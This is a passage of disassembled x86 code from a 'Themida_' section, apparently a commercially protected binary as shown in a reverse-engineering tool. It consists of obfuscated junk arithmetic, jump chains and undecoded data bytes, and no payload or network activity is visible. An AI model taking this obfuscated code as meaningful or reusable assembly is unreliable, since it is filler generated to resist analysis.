1EA1h mov [esp], edi mov edi, esp add edi, 4 sub esp, 4 mov [esp], esi mov esi, 203F2153h add esi, 6ACD2DDCh add esi, 66CA0205h or esi, 6DA054A4h push eax mov eax, 4D84563Dh jmp loc_599AF4 ; --------------------------------------------------------------------------- loc_5A15A2: ; CODE XREF: Themida_:0059D0A5j mov edx, 8C06801Ah jmp loc_59A567 ; --------------------------------------------------------------------------- dd 0F52E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A15B2: ; CODE XREF: Themida_:005A1D94j or ah, 51h jo loc_59CA0C push ecx jmp loc_5A718A ; --------------------------------------------------------------------------- loc_5A15C1: ; CODE XREF: Themida_:005A9387j mov esp, [esp] jmp loc_59D5B8 ; --------------------------------------------------------------------------- db 0C1h, 0E8h, 8 dd 3135D0F7h, 5099A144h, 2D243481h, 0E9651B09h, 6868h ; --------------------------------------------------------------------------- loc_5A15E0: ; CODE XREF: Themida_:005A1D14j pop edx pop dword ptr [esp] mov esp, [esp] jmp loc_59F1C3 ; --------------------------------------------------------------------------- loc_5A15EC: ; CODE XREF: Themida_:0059932Fj add al, dh jmp loc_5ADF2A ; --------------------------------------------------------------------------- loc_5A15F3: ; CODE XREF: Themida_:0059FCC0j mov [esp], eax mov eax, esp jmp loc_5A32F5 ; --------------------------------------------------------------------------- loc_5A15FD: ; CODE XREF: Themida_:005A6167j add dh, 0BEh add dh, 0FDh jmp loc_5AD686 ; --------------------------------------------------------------------------- dd 4C781h, 52E90000h, 0FFFFFFADh, 44E92C77h, 0F0000A0h dd 0FFD47680h, 1AF181FFh, 5170EB0Eh, 0EFC1595Fh, 4E7C106h dd 0EF81D7F7h, 0DA0AE021h, 0FFA83CE9h, 240C89FFh, 5718BB53h dd 3DE90A84h db 0B9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A164B: ; CODE XREF: Themida_:005AE7E6j add edx, ecx jmp loc_5A3BFA ; --------------------------------------------------------------------------- loc_5A1652: ; CODE XREF: Themida_:005A1435j jmp loc_5A11D6 ; --------------------------------------------------------------------------- loc_5A1657: ; CODE XREF: Themida_:0059CB6Aj sub dl, 51h or dl, 0D7h inc dl inc dl push ecx mov cl, 6Bh xor cl, 67h jmp loc_5A6285 ; --------------------------------------------------------------------------- dd 81E68956h, 4C6h, 4C68300h, 0E9243487h, 3584h ; --------------------------------------------------------------------------- loc_5A1680: ; CODE XREF: Themida_:005A39AAj add dword ptr [esp], 4 pop esi add esi, 4 push edi mov edi, 4 add esi, edi pop edi push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A16A8: ; CODE XREF: Themida_:0059F131j add ebx, 4 xchg ebx, [esp] jmp loc_5A3DEE ; --------------------------------------------------------------------------- loc_5A16B3: ; CODE XREF: Themida_:005988ECj pop esp push ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] push dword ptr [esp] mov eax, [esp] push ecx push 6547h push esp pop dword ptr [esp] add dword ptr [esp], 4 pop ecx sub esp, 4 mov [esp], ebp jmp loc_59D008 ; --------------------------------------------------------------------------- loc_5A16E9: ; CODE XREF: Themida_:0059D077j add ebx, 40DD013Dh jns loc_598C07 not ebx jmp loc_5AF205 ; --------------------------------------------------------------------------- dd 24240C33h db 2Bh ; --------------------------------------------------------------------------- loc_5A1701: ; CODE XREF: Themida_:005AAF44j mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop edi add esp, 4 add edi, 4 sub esp, 4 mov [esp], esi push eax mov eax, 53A3469Fh xor eax, 59FF336Dh jle loc_59B705 shl eax, 2 jnp loc_5A713C neg eax jmp loc_5A3ED3 ; --------------------------------------------------------------------------- dw 0EB88h db 56h ; --------------------------------------------------------------------------- loc_5A1745: ; CODE XREF: Themida_:005AC3EAj sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edx mov edx, eax push edx add dword ptr [esp], 4B0074ABh pop ebx sub ebx, 4B0074ABh jmp loc_59FEB8 ; --------------------------------------------------------------------------- loc_5A1765: ; CODE XREF: Themida_:005AC07Dj xor [esp], edx xor edx, [esp] pop esp add esp, 4 mov ecx, [esp] push eax push esp pop eax jmp loc_5A5F2F ; --------------------------------------------------------------------------- loc_5A177D: ; CODE XREF: Themida_:005AE1F1j mov edx, 6E765D0Fh sub edi, edx pop edx jmp loc_59A5C3 ; --------------------------------------------------------------------------- aS9c db '\ι9C',0 align 10h loc_5A1790: ; CODE XREF: Themida_:0059A1B2j sub ebx, ebp pop ebp add ebx, 158E7EFBh jmp loc_598611 ; --------------------------------------------------------------------------- loc_5A179E: ; CODE XREF: Themida_:005A1B85j neg edi shr edi, 3 shr edi, 8 not edi jmp loc_598A2E ; --------------------------------------------------------------------------- db 0Dh, 46h, 55h dd 4E94BC4h db 0E3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A17B7: ; CODE XREF: Themida_:0059EF98j push 3A92h mov [esp], ebp mov ebp, esp push esi jmp loc_59E1AE ; --------------------------------------------------------------------------- loc_5A17C7: ; CODE XREF: Themida_:loc_59C46Bj xor cl, 5Ah jnp loc_5A4C36 sub esp, 4 mov [esp], eax push eax loc_5A17DA: ; CODE XREF: Themida_:005A5A2Dj jns loc_5989C7 sub esp, 4 mov [esp], edi push ebx push 64C1h mov [esp], ecx pop edi push ecx mov ecx, 53E41CC0h jmp loc_59E263 ; --------------------------------------------------------------------------- loc_5A17FB: ; CODE XREF: Themida_:00598B47j mov [esp], bx sub esp, 4 mov [esp], edi push esp pop edi push edx jmp loc_5A68A5 ; --------------------------------------------------------------------------- loc_5A180D: ; CODE XREF: Themida_:0059F782j add esp, 4 sub esp, 4 mov [esp], esi sub dword ptr [esp], 55CD2E16h mov edi, [esp] push 0D67h mov [esp], ebx jmp loc_5A7D3D ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 0A0DE9h db 0 ; --------------------------------------------------------------------------- loc_5A1835: ; CODE XREF: Themida_:005AEFE8j add edx, 59AE39A4h push ecx mov ecx, 72726F1h add edx, 17810C2Fh add edx, ecx jmp loc_59983F ; --------------------------------------------------------------------------- loc_5A184E: ; CODE XREF: Themida_:0059A795j add bl, 0B4h add bl, 3Ch movzx eax, al jmp loc_5AF4EB ; --------------------------------------------------------------------------- loc_5A185C: ; CODE XREF: Themida_:005ADCFBj add bl, ah add bl, 0CDh mov eax, [esp] add esp, 4 sub bl, 0C3h add bl, al add bl, 0C3h push ecx mov ch, 0BBh sub esp, 2 mov [esp], bx mov bl, 51h xor ch, bl pop bx sub bl, ch pop ecx jmp loc_59EC8E ; --------------------------------------------------------------------------- loc_5A1887: ; CODE XREF: Themida_:005A7EE2j pop ebp sub eax, esi jmp loc_5A2E00 ; --------------------------------------------------------------------------- loc_5A188F: ; CODE XREF: Themida_:0059AC97j sub edi, 4 xchg edi, [esp] pop esp mov [esp], esi push eax mov eax, 13276E40h sub esp, 4 mov [esp], eax jmp loc_59F7AD ; --------------------------------------------------------------------------- loc_5A18AD: ; CODE XREF: Themida_:005A2495j jnb loc_5987E6 shr eax, 4 js loc_5A9C90 jmp loc_5A61E6 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 aH1k db '$h1K',0 align 2 aIH0 db ',$h0)',0 align 2 aIQsV db '$$QιΊ’',0 db 0 ; --------------------------------------------------------------------------- loc_5A18DB: ; CODE XREF: Themida_:0059FC63j mov ebx, 26F67167h xchg ebp, ebx not ebp push ebx jmp loc_59EA97 ; --------------------------------------------------------------------------- loc_5A18EA: ; CODE XREF: Themida_:0059CE1Dj push 12C1h jmp loc_5AE435 ; --------------------------------------------------------------------------- loc_5A18F4: ; CODE XREF: Themida_:005A7237j pop edx xor eax, [esp] jmp loc_5995BE ; --------------------------------------------------------------------------- loc_5A18FD: ; CODE XREF: Themida_:005A8B75j mov edx, 35964022h mov ebx, 0AEA89E8Eh push ecx jmp loc_599AC0 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 2DFB6824h, 1C890000h, 815B5424h, 4C3h, 57ACE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A1926: ; CODE XREF: Themida_:005ABE01j push edx mov edx, esp push ebp mov ebp, 7B612859h or ebp, 5D1C5144h jmp loc_59B7FB ; --------------------------------------------------------------------------- loc_5A193A: ; CODE XREF: Themida_:005A78D6j add edi, eax pop eax push 140Ch mov [esp], edx mov edx, 4 jmp loc_59F91C ; --------------------------------------------------------------------------- db 0Fh dd 8ABB81h, 0A3EE8100h, 0E958FCF9h, 0FFFFFA72h db 8Ah, 0CEh ; --------------------------------------------------------------------------- loc_5A1962: ; CODE XREF: Themida_:005A8427j mov edx, [esp] push edi jmp loc_5A4ABC ; --------------------------------------------------------------------------- db 0E9h dd 2956h ; --------------------------------------------------------------------------- loc_5A1970: ; CODE XREF: Themida_:005AE4A0j xor al, bl pop ebx push ecx push edx mov dl, 7Ah shr dl, 8 inc dl jns loc_59A420 jmp loc_5AB400 ; --------------------------------------------------------------------------- db 29h dd 788DE9FDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A198E: ; CODE XREF: Themida_:005AD4D6j sub esp, 4 mov [esp], ebx jmp loc_5AC926 ; --------------------------------------------------------------------------- loc_5A1999: ; CODE XREF: Themida_:005A5B9Dj push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] jmp loc_5ACEC2 ; --------------------------------------------------------------------------- loc_5A19A9: ; CODE XREF: Themida_:0059D9AFj sub eax, 53B600DAh sub eax, 2DFE7264h push dword ptr [esp] pop esi push eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax jmp loc_59ED3C ; --------------------------------------------------------------------------- aEVhe db '- #₯}VhE-',0 align 2 dw 1C89h dd 470CBB24h, 7AE9435Fh db 60h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A19E7: ; CODE XREF: Themida_:005ABEFAj pop edi mov esi, ebp jmp loc_59CDE4 ; --------------------------------------------------------------------------- db 31h dd 36E92404h db 6Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A19F7: ; CODE XREF: Themida_:00599BD0j or eax, 20C55DD3h neg eax sub eax, 0D2358B02h add ebx, eax pop eax push 469Fh jmp loc_5985BA ; --------------------------------------------------------------------------- loc_5A1A10: ; CODE XREF: Themida_:005A4744j mov ch, 0A2h jmp loc_59FACC ; --------------------------------------------------------------------------- loc_5A1A17: ; CODE XREF: Themida_:0059F53Cj shl edi, 6 xor edi, 1C4E2EBDh push ecx jmp loc_599512 ; --------------------------------------------------------------------------- loc_5A1A26: ; CODE XREF: Themida_:loc_5A74E0j ; Themida_:005A7A9Ej pop ecx shr ebx, 5 sub ebx, 9EF26AB8h add ecx, ebx mov ebx, [esp] add esp, 4 add ecx, 854E49B8h xor edi, ecx mov ecx, [esp] jmp loc_5A85C1 ; --------------------------------------------------------------------------- loc_5A1A48: ; CODE XREF: Themida_:005A4DBBj add ebp, 4 push edi mov edi, 6DA8263Ch add edi, 3472291h xor edi, 29A94D6Ch xor edi, 594605A5h sub ebp, edi pop edi xchg ebp, [esp] mov esp, [esp] mov [esp], eax mov eax, esp push esi mov esi, 4 add eax, esi pop esi jmp loc_59C017 ; --------------------------------------------------------------------------- loc_5A1A82: ; CODE XREF: Themida_:005A039Ej mov esp, [esp] or eax, eax jnz loc_59CE12 push 3680h jmp loc_5A8F52 ; --------------------------------------------------------------------------- loc_5A1A97: ; CODE XREF: Themida_:005A6838j add al, cl add al, 3Fh sub al, 0D1h push ebx push eax mov al, 0A3h inc al jmp loc_5A3CEC ; --------------------------------------------------------------------------- loc_5A1AA8: ; CODE XREF: Themida_:005A8AB4j pop edi add edx, ecx mov ecx, [esp] add esp, 4 add edx, 26FF670Fh pop eax push eax mov eax, 2 jmp loc_5AC0B6 ; --------------------------------------------------------------------------- aSpsCh db 'SPS·hΣ+',0 align 10h dd 0B0240489h, 58C72865h, 576C6866h, 240C8966h, 49EFE9h db 0 ; --------------------------------------------------------------------------- loc_5A1AE5: ; CODE XREF: Themida_:005AEBF3j push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp add eax, 4 jmp loc_5A3D27 ; --------------------------------------------------------------------------- loc_5A1AF9: ; CODE XREF: Themida_:0059C93Aj dec ecx jl loc_5A711F shr ecx, 7 jmp loc_5A4E94 ; --------------------------------------------------------------------------- loc_5A1B08: ; CODE XREF: Themida_:005A035Aj mov eax, 4 sub edi, eax pop eax jmp loc_59CF22 ; --------------------------------------------------------------------------- db 1, 0CFh, 53h aFhSz db '»Hά,ι',0 align 2 loc_5A1B22: ; CODE XREF: Themida_:005AE052j mov [esp], ebp mov eax, [esp] push 7B28h mov [esp], ecx push esp pop ecx push ebp mov ebp, 4 jmp loc_5AA5ED ; --------------------------------------------------------------------------- loc_5A1B3D: ; CODE XREF: Themida_:005AB1E1j mov [esp], ebx jmp loc_59B27E ; --------------------------------------------------------------------------- loc_5A1B45: ; CODE XREF: Themida_:0059A1DDj sub esp, 4 jmp loc_5998F5 ; --------------------------------------------------------------------------- loc_5A1B4D: ; CODE XREF: Themida_:005AD7A9j shr esi, 6 or esi, 60EA5893h jl loc_59EC9C jmp loc_59ED48 ; --------------------------------------------------------------------------- loc_5A1B61: ; CODE XREF: Themida_:005A2AA0j push esi mov esi, 52D131Eh or edx, esi pop esi not edx add edx, 0CD06886Eh add ebx, 0EBB5082h sub ebx, edx jmp loc_5A62C7 ; --------------------------------------------------------------------------- loc_5A1B7F: ; CODE XREF: Themida_:0059E96Dj and edi, 220213AFh jmp loc_5A179E ; --------------------------------------------------------------------------- loc_5A1B8A: ; CODE XREF: Themida_:005AC69Dj mov [esp], edi mov edi, esp jmp loc_599383 ; --------------------------------------------------------------------------- loc_5A1B94: ; CODE XREF: Themida_:005A7AFEj or esi, 5F077D13h add esi, 0B2223B4h sub esi, 68017141h or ebx, esi pop esi push ecx jmp loc_5AEA08 ; --------------------------------------------------------------------------- db 89h dd 63BB241Ch, 312D9F69h, 8B04245Ch, 0C481241Ch, 4, 8140478Fh dd 4ECh, 8591E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A1BD2: ; CODE XREF: Themida_:005A0EFFj mov esi, [esp] jmp loc_5A322A ; --------------------------------------------------------------------------- dw 77FFh dd 58669D1Ch, 24041166h, 67A2E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A1BEA: ; CODE XREF: Themida_:005A5582j ; Themida_:005AA770j mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_59E585 ; --------------------------------------------------------------------------- loc_5A1BFA: ; CODE XREF: Themida_:005A657Fj mov ecx, 21CD3403h or ecx, 61CE530Eh push esi mov esi, 75272BAFh add ecx, esi pop esi push edx mov edx, 624C51A2h shr edx, 2 sub edx, 5D7B15BFh add edx, 0FFFFFFFFh push ebp mov ebp, 151E61AEh add ebp, 8FB06B9h jmp loc_5AC1FD ; --------------------------------------------------------------------------- dd 0F707E0C1h, 0D32EE9D8h, 5866FFFFh, 0F6FFEF80h, 1A7968DFh dd 14890000h, 808EB224h, 5CE9F3EAh db 25h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A1C57: ; CODE XREF: Themida_:0059B610j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp sub esp, 2 mov [esp], dx jmp loc_5A121E ; --------------------------------------------------------------------------- dd 8106EBC1h, 4B4332E3h, 4E3C135h, 742EEB81h, 0EB813C3Fh dd 3AD23368h, 93E9DE01h, 68FFFFBBh, 7AA0h, 83242489h, 5D042404h dd 46850h, 34FF0000h, 0E9535824h, 9C2Dh ; --------------------------------------------------------------------------- loc_5A1CB4: ; CODE XREF: Themida_:005A999Ej sub edi, 9EE4F5Ah add edi, 23AA0990h std jmp loc_5A9F6A ; --------------------------------------------------------------------------- loc_5A1CC6: ; CODE XREF: Themida_:005A75F8j push ebp xor dword ptr [esp], 6D945DA6h pop edi xor edi, 6D945DA6h push dword ptr [esp] pop ebp push ebx push esp pop ebx jmp loc_59E4B6 ; --------------------------------------------------------------------------- loc_5A1CE1: ; CODE XREF: Themida_:0059EC9Fj ; Themida_:005A3763j mov edx, 4 sub edi, edx pop edx xchg edi, [esp] mov esp, [esp] jmp loc_5ABD11 ; --------------------------------------------------------------------------- dd 542A9DBEh, 11EE814Ch, 0E9328068h, 0F7Fh ; --------------------------------------------------------------------------- loc_5A1D04: ; CODE XREF: Themida_:005AE1D0j sub edx, 4 sub esp, 4 mov [esp], edx push dword ptr [esp+4] jmp loc_5A15E0 ; --------------------------------------------------------------------------- loc_5A1D19: ; CODE XREF: Themida_:0059B0E1j jmp loc_5A2708 ; --------------------------------------------------------------------------- dw 0E981h dd 812459A8h, 0FF8CA7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A1D29: ; CODE XREF: Themida_:005AD813j jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A1D2E: ; CODE XREF: Themida_:005A7FE3j not ah dec ah and ah, 0C3h push ecx mov ch, 30h or ch, 0FCh xor ch, 0A1h neg ch xor ch, 0C9h shl ch, 8 sub ch, 39h xor ah, ch pop ecx add ch, ah pop eax push 168Eh mov [esp], edx mov dl, 2Ch jmp loc_59A116 ; --------------------------------------------------------------------------- loc_5A1D5E: ; CODE XREF: Themida_:005A40E2j ; Themida_:005A856Aj push esi not dword ptr [esp] pop esi neg esi sub esi, 49E333A4h xor esi, 0D594326Dh xor edx, esi jmp loc_5AA08B ; --------------------------------------------------------------------------- dd 0E924048Fh, 4764h, 0FF2434FFh, 2C8B2434h, 778EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A1D8E: ; CODE XREF: Themida_:0059B38Fj shl ah, 3 shl ah, 5 js loc_5A15B2 or ah, 51h jo loc_5A953C push ecx mov cl, 0BBh xor ah, cl pop ecx jmp loc_5ACD28 ; --------------------------------------------------------------------------- dw 820Fh dd 0FFFFDDD6h, 65C068h, 240C8900h db 8Bh, 0C7h, 5Ch ; --------------------------------------------------------------------------- loc_5A1DBF: ; CODE XREF: Themida_:005A415Fj mov edi, 0 mov ecx, edi push dword ptr [esp] pop edi add esp, 4 add ecx, 309772F3h jmp loc_5AD9A8 ; --------------------------------------------------------------------------- dd 0CA00B7B2h, 0FFB1B9E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A1DE1: ; CODE XREF: Themida_:0059C386j mov edx, esp jmp loc_5AB4F5 ; --------------------------------------------------------------------------- loc_5A1DE8: ; CODE XREF: Themida_:005A3F66j mov bl, dl mov [ecx], bl mov ebx, [esp] push ecx push esp push dword ptr [esp] jmp loc_5A62C1 ; --------------------------------------------------------------------------- loc_5A1DF9: ; CODE XREF: Themida_:005A43C3j mov esi, edx pop edx jmp loc_59A79A ; --------------------------------------------------------------------------- loc_5A1E01: ; CODE XREF: Themida_:005A1401j pop esp push 411h mov [esp], edx push dword ptr [esp] pop ecx add esp, 4 pop edx xor eax, ecx push dword ptr [esp] jmp loc_59A459 ; --------------------------------------------------------------------------- loc_5A1E1F: ; CODE XREF: Themida_:005A6240j mov eax, esp jmp loc_5A5DCE ; --------------------------------------------------------------------------- loc_5A1E26: ; CODE XREF: Themida_:0059CBBBj ; Themida_:0059ED0Aj mov edi, esi pop esi jmp loc_5AAC98 ; --------------------------------------------------------------------------- loc_5A1E2E: ; CODE XREF: Themida_:0059E1D3j add edx, edi jmp loc_599CF1 ; --------------------------------------------------------------------------- a1Sai db '1ΛιA©',0 align 4 loc_5A1E3C: ; CODE XREF: Themida_:0059CFF3j div cx push small 316Ah jmp loc_59BC3F ; --------------------------------------------------------------------------- dd 24048151h, 447F4562h, 8324348Bh, 0EE8104C4h, 447F4562h dd 4B0EE9h, 2434FF00h, 1E286858h, 2AE90000h db 67h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A1E6F: ; CODE XREF: Themida_:005A56EDj add esp, 4 shr ecx, 7 push dword ptr [edi+1Ch] push ebp mov ebp, 616B52D0h xor [esp+4], ebp pop ebp mov eax, [esp] push edx push esp mov edx, [esp] add esp, 4 push edi jmp loc_5AE84E ; --------------------------------------------------------------------------- loc_5A1E97: ; CODE XREF: Themida_:0059A061j mov ebp, ebx jmp loc_5AB190 ; --------------------------------------------------------------------------- loc_5A1E9E: ; CODE XREF: Themida_:0059A056j push edi push eax mov eax, 232C6035h or eax, 5B333C5Eh add eax, 4834593Ah jmp loc_5A7FD1 ; --------------------------------------------------------------------------- loc_5A1EB4: ; CODE XREF: Themida_:00599658j ; Themida_:005AA086j pop eax add eax, 4 push 382Eh jmp loc_5AC522 ; --------------------------------------------------------------------------- dd 4C781h, 0B8500000h, 4, 8758C701h, 685C243Ch, 777Fh dd 68242C89h, 4DE1h, 83242489h, 8B042404h db 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_59D64F ; --------------------------------------------------------------------------- loc_5A1EFF: ; CODE XREF: Themida_:0059BFC2j add ebx, 504C0EB8h jnb loc_5A56C6 jmp loc_5A73A5 ; --------------------------------------------------------------------------- dd 4BEh db 0, 56h ; --------------------------------------------------------------------------- loc_5A1F16: ; CODE XREF: Themida_:0059F5BFj mov edx, 4 push 24D5h mov [esp], edx pop edi pop edx jmp loc_5ACBE9 ; --------------------------------------------------------------------------- loc_5A1F2A: ; CODE XREF: Themida_:005AAA37j and eax, edi push dword ptr [esp] mov edi, [esp] add esp, 4 push ebx jmp loc_5ACC78 ; --------------------------------------------------------------------------- loc_5A1F3B: ; CODE XREF: Themida_:005AEA99j or eax, 7CC95B89h or eax, 280E65E8h jno loc_5AAD94 and eax, 5A522592h jmp loc_599DF0 ; --------------------------------------------------------------------------- db 0E9h, 9Ah, 7Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A1F5A: ; CODE XREF: Themida_:0059F068j pop esi inc ecx sub esp, 4 mov [esp], ebx mov ebx, 341100D7h xor ecx, ebx pop ebx add ebx, ecx jmp loc_5AB820 ; --------------------------------------------------------------------------- loc_5A1F71: ; CODE XREF: Themida_:005A29CBj pop edi sub esp, 4 jmp loc_5AA382 ; --------------------------------------------------------------------------- loc_5A1F7A: ; CODE XREF: Themida_:005A0848j jns loc_5A9A3F xor edx, 3F1A2417h jmp loc_5995D6 ; --------------------------------------------------------------------------- db 58h db 50h ; --------------------------------------------------------------------------- loc_5A1F8D: ; CODE XREF: Themida_:005A2B95j jge loc_59E74D sub ebp, 64A45C2Dh jmp loc_5AC7CF ; --------------------------------------------------------------------------- dw 0C483h dd 1181E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A1FA6: ; CODE XREF: Themida_:005AD7E2j sub eax, esi jmp loc_5A0925 ; --------------------------------------------------------------------------- loc_5A1FAD: ; CODE XREF: Themida_:0059F059j ; Themida_:005AD1B0j mov [esp], ecx mov ecx, 78267282h shr ecx, 7 jmp loc_5995F3 ; --------------------------------------------------------------------------- loc_5A1FBD: ; CODE XREF: Themida_:005AA1F4j push edx not dword ptr [esp] pop edx push eax mov eax, 33B60E76h jmp loc_5A127F ; --------------------------------------------------------------------------- loc_5A1FCD: ; CODE XREF: Themida_:005A9800j and edi, 251EB6h jmp loc_5AADAF ; --------------------------------------------------------------------------- dd 4447F181h, 8955BB59h, 0E9EB89CDh, 0FFFFCBA4h, 7A6FB951h dd 0D1F725E9h, 0FFFD29E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A1FF5: ; CODE XREF: Themida_:005999BAj pop ebp pop eax mov ebx, 33774BF2h sub ebx, 5D07287Eh jmp loc_5A87A3 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF9E8Bh, 58E9D789h, 1FFFF83h, 24048BC6h, 3A8FE9h dd 24048900h, 4B8h, 8734E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A202A: ; CODE XREF: Themida_:005AE775j push ecx jmp loc_59C6A3 ; --------------------------------------------------------------------------- loc_5A2030: ; CODE XREF: Themida_:0059AF2Bj pop eax sub cl, 0Bh jmp loc_59C46B ; --------------------------------------------------------------------------- loc_5A2039: ; CODE XREF: Themida_:005A5876j shr esi, 2 add esi, 533348BDh and esi, 422D1144h xor esi, 420C1000h add eax, esi pop esi xchg eax, [esp] pop esp xor eax, 6517D06h jb loc_5AC859 sub esp, 4 jmp loc_59840F ; --------------------------------------------------------------------------- dd 5F98C581h, 0C7819704h, 47B4EAEh, 0EF81EF01h, 47B4EAEh dd 0C556E9h, 5DE90100h, 8BFBC181h, 0C829B850h, 74FF5059h dd 8F580424h, 895C2404h, 2BA2414h, 0E9000000h, 0FFFF66BDh ; --------------------------------------------------------------------------- loc_5A20A4: ; CODE XREF: Themida_:005AEEE5j mov ecx, 3C2279C0h sub ecx, edx pop edx add [esp+4], ecx mov ecx, [esp] add esp, 4 push dword ptr [esp] push dword ptr [esp] pop ebp add esp, 4 add esp, 4 add ebp, 4 push edi mov edi, 5E4A7F0Bh add edi, 2ECC7C87h neg edi jmp loc_5AEBBF ; --------------------------------------------------------------------------- dw 483h dd 0B4E90424h db 9Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A20EB: ; CODE XREF: Themida_:005A82D9j push dword ptr [esp+4] mov eax, [esp] add esp, 4 jmp loc_59B7DC ; --------------------------------------------------------------------------- loc_5A20FA: ; CODE XREF: Themida_:0059CE50j mov [esp], eax push ebx mov ebx, 6E4B455Ah jmp loc_5A3E07 ; --------------------------------------------------------------------------- loc_5A2108: ; CODE XREF: Themida_:005A4924j mov [esp], ebp jmp loc_59FC3C ; --------------------------------------------------------------------------- loc_5A2110: ; CODE XREF: Themida_:005ABB04j add esp, 4 add ebp, 4 jmp loc_5A3D77 ; --------------------------------------------------------------------------- loc_5A211E: ; CODE XREF: Themida_:005AB6E9j pop esp and eax, edi push dword ptr [esp] jmp loc_59AC71 ; --------------------------------------------------------------------------- loc_5A2129: ; CODE XREF: Themida_:0059A759j dec eax push esi mov esi, 2ECA1E7Ch add esi, 2FAF1178h push edi mov edi, 66654BFDh add edi, 72828A58h add esi, edi pop edi xor eax, esi mov esi, [esp] add esp, 4 push ebp mov ebp, esp add ebp, 4 push edi jmp loc_5A7582 ; --------------------------------------------------------------------------- loc_5A215C: ; CODE XREF: Themida_:005AE52Aj sub esp, 4 mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] xor [esp], eax jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A2178: ; CODE XREF: Themida_:005AEEDAj push ebp jmp loc_59C4AD ; --------------------------------------------------------------------------- loc_5A217E: ; CODE XREF: Themida_:0059F3F1j pop ecx jmp loc_5AC380 ; --------------------------------------------------------------------------- loc_5A2184: ; CODE XREF: Themida_:005A394Bj mov esp, [esp] jmp loc_5A59B7 ; --------------------------------------------------------------------------- dd 840FDDF7h, 249Bh, 94E5ED81h, 0EA895EF8h, 0E9242C8Bh dd 0B45Bh, 0C8BB5356h, 0E945E401h, 0FFFF895Dh, 4C481h dd 0B9510000h, 21587F26h, 11F5C781h, 0CF290F82h, 11F5EF81h dd 0C7E90F82h db 4Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A21CF: ; CODE XREF: Themida_:005A2A60j ; Themida_:005AD8C9j dec esi shr esi, 1 js loc_5A04A9 push ecx mov ecx, 608C2772h shr ecx, 4 add ecx, 78650FA3h inc ecx or ecx, 165F6E9Dh xor ecx, 0BE812A54h add esi, ecx pop ecx push 6DE8h mov [esp], esi jmp loc_5A5DA3 ; --------------------------------------------------------------------------- loc_5A2204: ; CODE XREF: Themida_:005A60E6j jz loc_59E39F neg ebp inc ebp jz loc_5AAC1B push edx jmp loc_5A9443 ; --------------------------------------------------------------------------- aLSgl db ',$ι£l',0 dd 0BA525700h, 1C016A54h, 98AEAFBFh, 8BD7297Bh, 0C4832414h dd 44BF5704h, 1620016h, 931BE9FAh, 5B540000h, 0E9505356h dd 0D1CFh ; --------------------------------------------------------------------------- loc_5A224C: ; CODE XREF: Themida_:005AE333j sub eax, ecx pop ecx push ecx jmp loc_5A9FF1 ; --------------------------------------------------------------------------- loc_5A2255: ; CODE XREF: Themida_:005A0BDBj neg edi jns loc_59EF18 jmp loc_5A2D11 ; --------------------------------------------------------------------------- loc_5A2262: ; CODE XREF: Themida_:0059C869j xchg ecx, [esp] pop esp add esi, 4 add esi, 4 jmp loc_5A9884 ; --------------------------------------------------------------------------- loc_5A2277: ; CODE XREF: Themida_:005ACB1Fj xor ebp, esi pop esi xor ebp, 6F6929EFh push eax mov eax, 77CA7937h jmp loc_5A03C5 ; --------------------------------------------------------------------------- db 81h dd 1EEh, 78EE8100h, 5016CE69h, 309FE9h db 0 ; --------------------------------------------------------------------------- loc_5A229D: ; CODE XREF: Themida_:005A0A00j mov ecx, [esp] push ebp push esp pop ebp add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp pop dword ptr [esp] mov esp, [esp] push dword ptr [esp] pop eax push edx push esp mov edx, [esp] jmp loc_59E64C ; --------------------------------------------------------------------------- loc_5A22CD: ; CODE XREF: Themida_:005A50DBj add eax, 4 add eax, 4 jmp loc_5A9080 ; --------------------------------------------------------------------------- loc_5A22DC: ; CODE XREF: Themida_:005ACC36j shl edx, 1 jnz loc_5A78CF xor edx, 8B21CDFFh push ebp jmp loc_5A78DB ; --------------------------------------------------------------------------- db 8Ah, 0F6h, 59h ; --------------------------------------------------------------------------- loc_5A22F3: ; CODE XREF: Themida_:0059989Bj push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp sub esp, 4 jmp loc_5AE1E5 ; --------------------------------------------------------------------------- loc_5A230B: ; CODE XREF: Themida_:00598E80j mov esi, 3F7223E3h push ecx mov ecx, 76E32936h mov eax, 0D8B262E3h xor 